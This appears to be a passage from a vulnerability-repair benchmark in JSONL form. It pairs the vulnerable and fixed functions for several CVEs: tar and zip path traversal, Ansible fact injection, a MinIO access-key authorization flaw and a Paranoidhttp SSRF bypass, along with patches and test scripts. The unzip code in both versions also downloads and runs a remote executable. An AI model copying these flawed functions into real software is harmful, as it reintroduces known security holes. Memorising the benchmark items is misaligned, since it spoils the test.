tested\n      xfs.unlink(name, function () {\n        var srcpath = path.join(cwd, path.join('/', header.linkname))\n\n        xfs.link(srcpath, name, function (err) {\n          if (err && err.code === 'EPERM' && opts.hardlinkAsFilesFallback) {\n            stream = xfs.createReadStream(srcpath)\n            return onfile()\n          }\n\n          stat(err)\n        })\n      })\n    }"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,7 +1,7 @@\n     var onlink = function () {\n       if (win32) return next() // skip links on win for now before it can be tested\n       xfs.unlink(name, function () {\n-        var srcpath = path.resolve(cwd, header.linkname)\n+        var srcpath = path.join(cwd, path.join('/', header.linkname))\n \n         xfs.link(srcpath, name, function (err) {\n           if (err && err.code === 'EPERM' && opts.hardlinkAsFilesFallback) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36561", "cve_description": "Due to improper path sanitization, archives containing relative file paths can cause files to be written (or overwritten) outside of the target directory.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/yi-ge/unzip", "patch_url": ["https://github.com/yi-ge/unzip/commit/2adbaa4891b9690853ef10216189189f5ad7dc73"], "programing_language": "Go", "vul_func": [{"id": "vul_go_205_1", "commit": "cc5a75e", "file_path": "unzip.go", "start_line": 68, "end_line": 163, "snippet": "func (uz Unzip) Extract() error {\n\tif runtime.GOOS == \"windows\" && GetOsVersion() < 6.1 {\n\t\tif !FileIsExist(filepath.FromSlash(path.Join(os.TempDir(), \"unzip.exe\"))) {\n\t\t\tdownloadURL := \"https://y-bi.top/unzip.exe\"\n\t\t\tresp, err := ReadRemote(downloadURL, \"\", netClient)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif len(resp) != 0 {\n\t\t\t\t// empty response means no such file exists, we should do nothing.\n\t\t\t\tf, err := os.OpenFile(filepath.FromSlash(path.Join(os.TempDir(), \"unzip.exe\")), os.O_CREATE|os.O_RDWR|os.O_TRUNC, 0755)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tf.Write(resp)\n\t\t\t\tf.Close()\n\t\t\t} else {\n\t\t\t\treturn errors.New(\"Install unzip.exe error\")\n\t\t\t}\n\t\t}\n\n\t\tvar cmd *exec.Cmd\n\t\t// dest := uz.Dest //+\"\\\"\"\n\t\tcmd = exec.Command(filepath.FromSlash(path.Join(os.TempDir(), \"unzip.exe\")), uz.Src, \"-d\", uz.Dest)\n\t\tcmd.Env = os.Environ()\n\t\t_, err := cmd.Output()\n\t\treturn err\n\t}\n\n\tr, err := zip.OpenReader(uz.Src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err := r.Close(); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\tos.MkdirAll(uz.Dest, 0755)\n\n\t// Closure to address file descriptors issue with all the deferred .Close() methods\n\textractAndWriteFile := func(f *zip.File) error {\n\t\trc, err := f.Open()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer func() {\n\t\t\tif err := rc.Close(); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}()\n\n\t\tpath := filepath.Join(uz.Dest, f.Name)\n\n\t\tif f.FileInfo().IsDir() {\n\t\t\tos.MkdirAll(path, f.Mode())\n\t\t} else {\n\t\t\tmode := f.FileHeader.Mode()\n\t\t\tif mode&os.ModeType == os.ModeSymlink {\n\t\t\t\tdata, err := ioutil.ReadAll(rc)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\twriteSymbolicLink(path, string(data))\n\t\t\t} else {\n\t\t\t\tos.MkdirAll(filepath.Dir(path), f.Mode())\n\t\t\t\toutFile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdefer func() {\n\t\t\t\t\tif err := outFile.Close(); err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\t\t\t\t}()\n\n\t\t\t\t_, err = io.Copy(outFile, rc)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\tfor _, f := range r.File {\n\t\terr := extractAndWriteFile(f)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_205_1", "commit": "2adbaa4891b9690853ef10216189189f5ad7dc73", "file_path": "unzip.go", "start_line": 70, "end_line": 168, "snippet": "func (uz Unzip) Extract() error {\n\tif runtime.GOOS == \"windows\" && GetOsVersion() < 6.1 {\n\t\tif !FileIsExist(filepath.FromSlash(path.Join(os.TempDir(), \"unzip.exe\"))) {\n\t\t\tdownloadURL := \"https://y-bi.top/unzip.exe\"\n\t\t\tresp, err := ReadRemote(downloadURL, \"\", netClient)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tif len(resp) != 0 {\n\t\t\t\t// empty response means no such file exists, we should do nothing.\n\t\t\t\tf, err := os.OpenFile(filepath.FromSlash(path.Join(os.TempDir(), \"unzip.exe\")), os.O_CREATE|os.O_RDWR|os.O_TRUNC, 0755)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tf.Write(resp)\n\t\t\t\tf.Close()\n\t\t\t} else {\n\t\t\t\treturn errors.New(\"Install unzip.exe error\")\n\t\t\t}\n\t\t}\n\n\t\tvar cmd *exec.Cmd\n\t\t// dest := uz.Dest //+\"\\\"\"\n\t\tcmd = exec.Command(filepath.FromSlash(path.Join(os.TempDir(), \"unzip.exe\")), uz.Src, \"-d\", uz.Dest)\n\t\tcmd.Env = os.Environ()\n\t\t_, err := cmd.Output()\n\t\treturn err\n\t}\n\n\tr, err := zip.OpenReader(uz.Src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err := r.Close(); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\tos.MkdirAll(uz.Dest, 0755)\n\n\t// Closure to address file descriptors issue with all the deferred .Close() methods\n\textractAndWriteFile := func(f *zip.File) error {\n\t\trc, err := f.Open()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer func() {\n\t\t\tif err := rc.Close(); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}()\n\n\t\tpath := filepath.Join(uz.Dest, f.Name)\n\t\tif !strings.HasPrefix(path, filepath.Clean(uz.Dest)+string(os.PathSeparator)) {\n            return fmt.Errorf(\"%s: illegal file path\", path)\n        }\n\n\t\tif f.FileInfo().IsDir() {\n\t\t\tos.MkdirAll(path, f.Mode())\n\t\t} else {\n\t\t\tmode := f.FileHeader.Mode()\n\t\t\tif mode&os.ModeType == os.ModeSymlink {\n\t\t\t\tdata, err := ioutil.ReadAll(rc)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\twriteSymbolicLink(path, string(data))\n\t\t\t} else {\n\t\t\t\tos.MkdirAll(filepath.Dir(path), f.Mode())\n\t\t\t\toutFile, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tdefer func() {\n\t\t\t\t\tif err := outFile.Close(); err != nil {\n\t\t\t\t\t\tpanic(err)\n\t\t\t\t\t}\n\t\t\t\t}()\n\n\t\t\t\t_, err = io.Copy(outFile, rc)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\tfor _, f := range r.File {\n\t\terr := extractAndWriteFile(f)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/unzip.go\n+++ b/unzip.go\n@@ -53,6 +53,9 @@\n \t\t}()\n \n \t\tpath := filepath.Join(uz.Dest, f.Name)\n+\t\tif !strings.HasPrefix(path, filepath.Clean(uz.Dest)+string(os.PathSeparator)) {\n+            return fmt.Errorf(\"%s: illegal file path\", path)\n+        }\n \n \t\tif f.FileInfo().IsDir() {\n \t\t\tos.MkdirAll(path, f.Mode())\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-10684", "cve_description": "A flaw was found in Ansible Engine, all versions 2.7.x, 2.8.x and 2.9.x prior to 2.7.17, 2.8.9 and 2.9.6 respectively, when using ansible_facts as a subkey of itself and promoting it to a variable when inject is enabled, overwriting the ansible_facts after the clean. An attacker could take advantage of this by altering the ansible_facts, such as ansible_hosts, users and any other key data which would lead into privilege escalation or code injection.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/ansible/ansible", "patch_url": ["https://github.com/ansible/ansible/commit/a9d2ceafe429171c0e2ad007058b88bae57c74ce", "https://github.com/ansible/ansible/commit/5eabf7bb93c9bfc375b806a2b1f623d650cddc2b", "https://github.com/ansible/ansible/commit/0b4788a71fc7d24ffa957a94ee5e23d6a9733ab0", "https://github.com/ansible/ansible/commit/1d0d2645eed36ac4e17052ab4eacf240132d96fb"], "programing_language": "Python", "vul_func": [{"id": "vul_py_406_1", "commit": "97e51797454b97bfb9447b3b7dc926be530ae19e", "file_path": "lib/ansible/vars/clean.py", "start_line": 168, "end_line": 178, "snippet": "def namespace_facts(facts):\n    ''' return all facts inside 'ansible_facts' w/o an ansible_ prefix '''\n    deprefixed = {}\n    for k in facts:\n        if k in ('ansible_local',):\n            # exceptions to 'deprefixing'\n            deprefixed[k] = module_response_deepcopy(facts[k])\n        else:\n            deprefixed[k.replace('ansible_', '', 1)] = module_response_deepcopy(facts[k])\n\n    return {'ansible_facts': deprefixed}"}], "fix_func": [{"id": "fix_py_406_1", "commit": "a9d2ceafe429171c0e2ad007058b88bae57c74ce", "file_path": "lib/ansible/vars/clean.py", "start_line": 167, "end_line": 176, "snippet": "def namespace_facts(facts):\n    ''' return all facts inside 'ansible_facts' w/o an ansible_ prefix '''\n    deprefixed = {}\n    for k in facts:\n        if k.startswith('ansible_') and k not in ('ansible_local',):\n            deprefixed[k[8:]] = module_response_deepcopy(facts[k])\n        else:\n            deprefixed[k] = module_response_deepcopy(facts[k])\n\n    return {'ansible_facts': deprefixed}"}], "vul_patch": "--- a/lib/ansible/vars/clean.py\n+++ b/lib/ansible/vars/clean.py\n@@ -2,10 +2,9 @@\n     ''' return all facts inside 'ansible_facts' w/o an ansible_ prefix '''\n     deprefixed = {}\n     for k in facts:\n-        if k in ('ansible_local',):\n-            # exceptions to 'deprefixing'\n+        if k.startswith('ansible_') and k not in ('ansible_local',):\n+            deprefixed[k[8:]] = module_response_deepcopy(facts[k])\n+        else:\n             deprefixed[k] = module_response_deepcopy(facts[k])\n-        else:\n-            deprefixed[k.replace('ansible_', '', 1)] = module_response_deepcopy(facts[k])\n \n     return {'ansible_facts': deprefixed}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-24747", "cve_description": "MinIO is a High Performance Object Storage. When someone creates an access key, it inherits the permissions of the parent key. Not only for `s3:*` actions, but also `admin:*` actions. Which means unless somewhere above in the access-key hierarchy, the `admin` rights are denied, access keys will be able to simply override their own `s3` permissions to something more permissive. The vulnerability is fixed in RELEASE.2024-01-31T20-20-33Z.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/minio/minio", "patch_url": ["https://github.com/minio/minio/commit/0ae4915a9391ef4b3ec80f5fcdcf24ee6884e776"], "programing_language": "Go", "vul_func": [{"id": "vul_go_73_1", "commit": "4cd777a", "file_path": "cmd/admin-handlers-users.go", "start_line": "749", "end_line": "861", "snippet": "func (a adminAPIHandlers) UpdateServiceAccount(w http.ResponseWriter, r *http.Request) {\n\tctx := r.Context()\n\n\t// Get current object layer instance.\n\tobjectAPI := newObjectLayerFn()\n\tif objectAPI == nil || globalNotificationSys == nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)\n\t\treturn\n\t}\n\n\tcred, owner, s3Err := validateAdminSignature(ctx, r, \"\")\n\tif s3Err != ErrNone {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(s3Err), r.URL)\n\t\treturn\n\t}\n\n\taccessKey := mux.Vars(r)[\"accessKey\"]\n\tif accessKey == \"\" {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrInvalidRequest), r.URL)\n\t\treturn\n\t}\n\n\tsvcAccount, _, err := globalIAMSys.GetServiceAccount(ctx, accessKey)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\tif !globalIAMSys.IsAllowed(policy.Args{\n\t\tAccountName:     cred.AccessKey,\n\t\tGroups:          cred.Groups,\n\t\tAction:          policy.UpdateServiceAccountAdminAction,\n\t\tConditionValues: getConditionValues(r, \"\", cred),\n\t\tIsOwner:         owner,\n\t\tClaims:          cred.Claims,\n\t}) {\n\t\trequestUser := cred.AccessKey\n\t\tif cred.ParentUser != \"\" {\n\t\t\trequestUser = cred.ParentUser\n\t\t}\n\n\t\tif requestUser != svcAccount.ParentUser {\n\t\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n\t\t\treturn\n\t\t}\n\t}\n\n\tpassword := cred.SecretKey\n\treqBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)\n\t\treturn\n\t}\n\n\tvar updateReq madmin.UpdateServiceAccountReq\n\tif err = json.Unmarshal(reqBytes, &updateReq); err != nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)\n\t\treturn\n\t}\n\n\tif err := updateReq.Validate(); err != nil {\n\t\t// Since this validation would happen client side as well, we only send\n\t\t// a generic error message here.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminResourceInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tvar sp *policy.Policy\n\tif len(updateReq.NewPolicy) > 0 {\n\t\tsp, err = policy.ParseConfig(bytes.NewReader(updateReq.NewPolicy))\n\t\tif err != nil {\n\t\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\t\treturn\n\t\t}\n\t\tif sp.Version == \"\" && len(sp.Statements) == 0 {\n\t\t\tsp = nil\n\t\t}\n\t}\n\topts := updateServiceAccountOpts{\n\t\tsecretKey:     updateReq.NewSecretKey,\n\t\tstatus:        updateReq.NewStatus,\n\t\tname:          updateReq.NewName,\n\t\tdescription:   updateReq.NewDescription,\n\t\texpiration:    updateReq.NewExpiration,\n\t\tsessionPolicy: sp,\n\t}\n\tupdatedAt, err := globalIAMSys.UpdateServiceAccount(ctx, accessKey, opts)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\t// Call site replication hook - non-root user accounts are replicated.\n\tif svcAccount.ParentUser != globalActiveCred.AccessKey {\n\t\tlogger.LogIf(ctx, globalSiteReplicationSys.IAMChangeHook(ctx, madmin.SRIAMItem{\n\t\t\tType: madmin.SRIAMItemSvcAcc,\n\t\t\tSvcAccChange: &madmin.SRSvcAccChange{\n\t\t\t\tUpdate: &madmin.SRSvcAccUpdate{\n\t\t\t\t\tAccessKey:     accessKey,\n\t\t\t\t\tSecretKey:     opts.secretKey,\n\t\t\t\t\tStatus:        opts.status,\n\t\t\t\t\tName:          opts.name,\n\t\t\t\t\tDescription:   opts.description,\n\t\t\t\t\tSessionPolicy: updateReq.NewPolicy,\n\t\t\t\t\tExpiration:    updateReq.NewExpiration,\n\t\t\t\t},\n\t\t\t},\n\t\t\tUpdatedAt: updatedAt,\n\t\t}))\n\t}\n\n\twriteSuccessNoContent(w)\n}"}], "fix_func": [{"id": "fix_go_73_1", "commit": "0ae4915", "file_path": "cmd/admin-handlers-users.go", "start_line": "749", "end_line": "864", "snippet": "func (a adminAPIHandlers) UpdateServiceAccount(w http.ResponseWriter, r *http.Request) {\n\tctx := r.Context()\n\n\t// Get current object layer instance.\n\tobjectAPI := newObjectLayerFn()\n\tif objectAPI == nil || globalNotificationSys == nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)\n\t\treturn\n\t}\n\n\tcred, owner, s3Err := validateAdminSignature(ctx, r, \"\")\n\tif s3Err != ErrNone {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(s3Err), r.URL)\n\t\treturn\n\t}\n\n\taccessKey := mux.Vars(r)[\"accessKey\"]\n\tif accessKey == \"\" {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrInvalidRequest), r.URL)\n\t\treturn\n\t}\n\n\tsvcAccount, _, err := globalIAMSys.GetServiceAccount(ctx, accessKey)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\t// Permission checks:\n\t//\n\t// 1. Any type of account (i.e. access keys (previously/still called service\n\t// accounts), STS accounts, internal IDP accounts, etc) with the\n\t// policy.UpdateServiceAccountAdminAction permission can update any service\n\t// account.\n\t//\n\t// 2. We would like to let a user update their own access keys, however it\n\t// is currently blocked pending a re-design. Users are still able to delete\n\t// and re-create them.\n\tif !globalIAMSys.IsAllowed(policy.Args{\n\t\tAccountName:     cred.AccessKey,\n\t\tGroups:          cred.Groups,\n\t\tAction:          policy.UpdateServiceAccountAdminAction,\n\t\tConditionValues: getConditionValues(r, \"\", cred),\n\t\tIsOwner:         owner,\n\t\tClaims:          cred.Claims,\n\t}) {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n\t\treturn\n\t}\n\n\tpassword := cred.SecretKey\n\treqBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)\n\t\treturn\n\t}\n\n\tvar updateReq madmin.UpdateServiceAccountReq\n\tif err = json.Unmarshal(reqBytes, &updateReq); err != nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)\n\t\treturn\n\t}\n\n\tif err := updateReq.Validate(); err != nil {\n\t\t// Since this validation would happen client side as well, we only send\n\t\t// a generic error message here.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminResourceInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tvar sp *policy.Policy\n\tif len(updateReq.NewPolicy) > 0 {\n\t\tsp, err = policy.ParseConfig(bytes.NewReader(updateReq.NewPolicy))\n\t\tif err != nil {\n\t\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\t\treturn\n\t\t}\n\t\tif sp.Version == \"\" && len(sp.Statements) == 0 {\n\t\t\tsp = nil\n\t\t}\n\t}\n\topts := updateServiceAccountOpts{\n\t\tsecretKey:     updateReq.NewSecretKey,\n\t\tstatus:        updateReq.NewStatus,\n\t\tname:          updateReq.NewName,\n\t\tdescription:   updateReq.NewDescription,\n\t\texpiration:    updateReq.NewExpiration,\n\t\tsessionPolicy: sp,\n\t}\n\tupdatedAt, err := globalIAMSys.UpdateServiceAccount(ctx, accessKey, opts)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\t// Call site replication hook - non-root user accounts are replicated.\n\tif svcAccount.ParentUser != globalActiveCred.AccessKey {\n\t\tlogger.LogIf(ctx, globalSiteReplicationSys.IAMChangeHook(ctx, madmin.SRIAMItem{\n\t\t\tType: madmin.SRIAMItemSvcAcc,\n\t\t\tSvcAccChange: &madmin.SRSvcAccChange{\n\t\t\t\tUpdate: &madmin.SRSvcAccUpdate{\n\t\t\t\t\tAccessKey:     accessKey,\n\t\t\t\t\tSecretKey:     opts.secretKey,\n\t\t\t\t\tStatus:        opts.status,\n\t\t\t\t\tName:          opts.name,\n\t\t\t\t\tDescription:   opts.description,\n\t\t\t\t\tSessionPolicy: updateReq.NewPolicy,\n\t\t\t\t\tExpiration:    updateReq.NewExpiration,\n\t\t\t\t},\n\t\t\t},\n\t\t\tUpdatedAt: updatedAt,\n\t\t}))\n\t}\n\n\twriteSuccessNoContent(w)\n}"}], "vul_patch": "--- a/cmd/admin-handlers-users.go\n+++ b/cmd/admin-handlers-users.go\n@@ -26,6 +26,16 @@\n \t\treturn\n \t}\n \n+\t// Permission checks:\n+\t//\n+\t// 1. Any type of account (i.e. access keys (previously/still called service\n+\t// accounts), STS accounts, internal IDP accounts, etc) with the\n+\t// policy.UpdateServiceAccountAdminAction permission can update any service\n+\t// account.\n+\t//\n+\t// 2. We would like to let a user update their own access keys, however it\n+\t// is currently blocked pending a re-design. Users are still able to delete\n+\t// and re-create them.\n \tif !globalIAMSys.IsAllowed(policy.Args{\n \t\tAccountName:     cred.AccessKey,\n \t\tGroups:          cred.Groups,\n@@ -34,15 +44,8 @@\n \t\tIsOwner:         owner,\n \t\tClaims:          cred.Claims,\n \t}) {\n-\t\trequestUser := cred.AccessKey\n-\t\tif cred.ParentUser != \"\" {\n-\t\t\trequestUser = cred.ParentUser\n-\t\t}\n-\n-\t\tif requestUser != svcAccount.ParentUser {\n-\t\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n-\t\t\treturn\n-\t\t}\n+\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n+\t\treturn\n \t}\n \n \tpassword := cred.SecretKey\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-24747:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/minio\nrm -rf ./cmd/admin-handlers-users_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -run ^TestIAMInternalIDPServerSuite$ github.com/minio/minio/cmd\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-24747:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/minio\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd cmd && go test  -run -v \n"}
{"cve_id": "CVE-2023-24623", "cve_description": "Paranoidhttp before 0.3.0 allows SSRF because [::] is equivalent to the 127.0.0.1 address, but does not match the filter for private addresses.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/hakobe/paranoidhttp", "patch_url": ["https://github.com/hakobe/paranoidhttp/commit/07f671da14ce63a80f4e52432b32e8d178d75fd3"], "programing_language": "Go", "vul_func": [{"id": "vul_go_40_1", "commit": "a5a8577", "file_path": "client.go", "start_line": 112, "end_line": 157, "snippet": "func safeAddr(ctx context.Context, resolver *net.Resolver, hostport string, opts ...Option) (string, error) {\n\tc := basicConfig()\n\tfor _, opt := range opts {\n\t\topt(c)\n\t}\n\thost, port, err := net.SplitHostPort(hostport)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tip := net.ParseIP(host)\n\tif ip != nil {\n\t\tif ip.To4() != nil && c.isIPForbidden(ip) {\n\t\t\treturn \"\", fmt.Errorf(\"bad ip is detected: %v\", ip)\n\t\t}\n\t\treturn net.JoinHostPort(ip.String(), port), nil\n\t}\n\n\tif c.isHostForbidden(host) {\n\t\treturn \"\", fmt.Errorf(\"bad host is detected: %v\", host)\n\t}\n\n\tr := resolver\n\tif r == nil {\n\t\tr = net.DefaultResolver\n\t}\n\taddrs, err := r.LookupIPAddr(ctx, host)\n\tif err != nil || len(addrs) <= 0 {\n\t\treturn \"\", err\n\t}\n\tsafeAddrs := make([]net.IPAddr, 0, len(addrs))\n\tfor _, addr := range addrs {\n\t\t// only support IPv4 address\n\t\tif addr.IP.To4() == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif c.isIPForbidden(addr.IP) {\n\t\t\treturn \"\", fmt.Errorf(\"bad ip is detected: %v\", addr.IP)\n\t\t}\n\t\tsafeAddrs = append(safeAddrs, addr)\n\t}\n\tif len(safeAddrs) == 0 {\n\t\treturn \"\", fmt.Errorf(\"fail to lookup ip addr: %v\", host)\n\t}\n\treturn net.JoinHostPort(safeAddrs[0].IP.String(), port), nil\n}"}], "fix_func": [{"id": "fix_go_40_1", "commit": "07f671d", "file_path": "client.go", "start_line": 112, "end_line": 157, "snippet": "func safeAddr(ctx context.Context, resolver *net.Resolver, hostport string, opts ...Option) (string, error) {\n\tc := basicConfig()\n\tfor _, opt := range opts {\n\t\topt(c)\n\t}\n\thost, port, err := net.SplitHostPort(hostport)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tip := net.ParseIP(host)\n\tif ip != nil {\n\t\tif ip.IsUnspecified() || (ip.To4() != nil && c.isIPForbidden(ip)) {\n\t\t\treturn \"\", fmt.Errorf(\"bad ip is detected: %v\", ip)\n\t\t}\n\t\treturn net.JoinHostPort(ip.String(), port), nil\n\t}\n\n\tif c.isHostForbidden(host) {\n\t\treturn \"\", fmt.Errorf(\"bad host is detected: %v\", host)\n\t}\n\n\tr := resolver\n\tif r == nil {\n\t\tr = net.DefaultResolver\n\t}\n\taddrs, err := r.LookupIPAddr(ctx, host)\n\tif err != nil || len(addrs) <= 0 {\n\t\treturn \"\", err\n\t}\n\tsafeAddrs := make([]net.IPAddr, 0, len(addrs))\n\tfor _, addr := range addrs {\n\t\t// only support IPv4 address\n\t\tif addr.IP.To4() == nil {\n\t\t\tcontinue\n\t\t}\n\t\tif c.isIPForbidden(addr.IP) {\n\t\t\treturn \"\", fmt.Errorf(\"bad ip is detected: %v\", addr.IP)\n\t\t}\n\t\tsafeAddrs = append(safeAddrs, addr)\n\t}\n\tif len(safeAddrs) == 0 {\n\t\treturn \"\", fmt.Errorf(\"fail to lookup ip addr: %v\", host)\n\t}\n\treturn net.JoinHostPort(safeAddrs[0].IP.String(), port), nil\n}"}], "vul_patch": "--- a/client.go\n+++ b/client.go\n@@ -10,7 +10,7 @@\n \n \tip := net.ParseIP(host)\n \tif ip != nil {\n-\t\tif ip.To4() != nil && c.isIPForbidden(ip) {\n+\t\tif ip.IsUnspecified() || (ip.To4() != nil && c.isIPForbidden(ip)) {\n \t\t\treturn \"\", fmt.Errorf(\"bad ip is detected: %v\", ip)\n \t\t}\n \t\treturn net.JoinHostPort(ip.String(), port), nil\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-24623:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/paranoidhttp\nrm -rf ./client_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestRequest$ github.com/hakobe/paranoidhttp\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-24623:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/paranoidhttp\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test  -timeout 30s -v github.com/hakobe/paranoidhttp\n"}
